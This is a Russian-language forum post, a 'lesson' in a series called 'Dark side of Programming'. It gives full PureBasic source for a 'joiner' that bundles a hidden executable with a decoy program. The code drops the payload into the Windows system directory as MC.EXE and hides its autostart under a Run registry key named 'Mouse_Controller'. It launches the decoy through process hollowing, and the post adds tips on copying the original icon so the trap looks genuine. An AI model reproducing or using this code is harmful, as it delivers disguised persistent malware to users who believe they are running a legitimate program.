Показать сообщение отдельно
Старый 10.01.2007, 19:34   #4
Chrono Syndrome
 
Сообщений: n/a
Re: Dark side of Programming

Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую .

Итак, открываем IDE, и пишем следующий код:
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner" 
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l) 
ntdll = GetModuleHandle_("ntdll.dll") 
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection") 
Global WinPath.s 
Structure IMAGE_SECTION_HEADER 
 Name.b[8] 
 StructureUnion 
   PhysicalAddress.l 
   VirtualSize.l 
 EndStructureUnion 
 VirtualAddress.l 
 SizeOfRawData.l 
 PointerToRawData.l 
 PointerToRelocations.l 
 PointerToLinenumbers.l 
 NumberOfRelocations.w 
 NumberOfLinenumbers.w 
 Characteristics.l 
EndStructure

Procedure injectfile(lpProcessname.s, lpBuffer.l) 
 Structure IMAGE_SECTION_HEADERS 
   a.IMAGE_SECTION_HEADER[95] 
 EndStructure 
 
 Result.l = 0 
 Startupinfo.STARTUPINFO 
 ProcessInfo.PROCESS_INFORMATION 
 Context.CONTEXT 
 BaseAddress.l 
 lpNumberOfBytesRead.l 
 lpNumberOfBytesWritten.w 
 *NtHeaders.IMAGE_NT_HEADERS 
 *Sections.IMAGE_SECTION_HEADERS 
 i.l 

;--- 
Result = #False 
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO)); 
StartupInfo\cb = SizeOf(STARTUPINFO) 
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW 
StartupInfo\wShowWindow = #SW_SHOW 

If CreateProcess_& #40;lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,
@ProcessInfo) 

 Context\ContextFlags = #CONTEXT_INTEGER 
 GetThreadContext_(ProcessInfo\hThread, Context); 
 ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead) 
 
 If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0 
   
   *adr.IMAGE_DOS_HEADER = lpBuffer 
   *NtHeaders = lpBuffer + *adr\e_lfanew 
   
   BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE) 
   WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten) 

   *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader 
   
   For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1 
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten) 
   Next 
   
   WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten) 
   Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint 
   Result = SetThreadContext_(ProcessInfo\hThread, Context) 
   If Result 
         ResumeThread_(ProcessInfo\hThread) 
       Else 
         TerminateProcess_(ProcessInfo\hProcess, 0); 
         CloseHandle_(ProcessInfo\hProcess) 
         CloseHandle_(ProcessInfo\hThread) 
   EndIf
 EndIf 
EndIf 

EndProcedure 

InjectFile(ProgramFilename(), ?EXE)
С помощью вышуказанного кода можно обьединить (отсюда и название ) нашу программу-прикол (вернее иньектор с ней) с любым EXE'шником (другое дело, что не всегда это будет работать) под Windows (с DOS'овскими прогами такой фокус, увы, не пройдет). Другое дело, что не во всех случаях подобное сооружение заработает как надо, ну да это уже детали . Все просто: прописываем в обоих IncludeBinary соответствующие пути, компилируем... Ловушка готова . Единственный проблемный вопрос - подделка иконки, тоже решается довольно просто - необходимая легко извлекается из оргинального .EXE ResHacker'ом, либо другой подобной утилитой. Так, чего-то я вам еще хотела добавить напоследок... Ах да, точно: Have Fun !
EndProcedure
 
Ответить с цитированием
Сообщение было полезно следующим пользователям:
Slepetc (04.03.2009)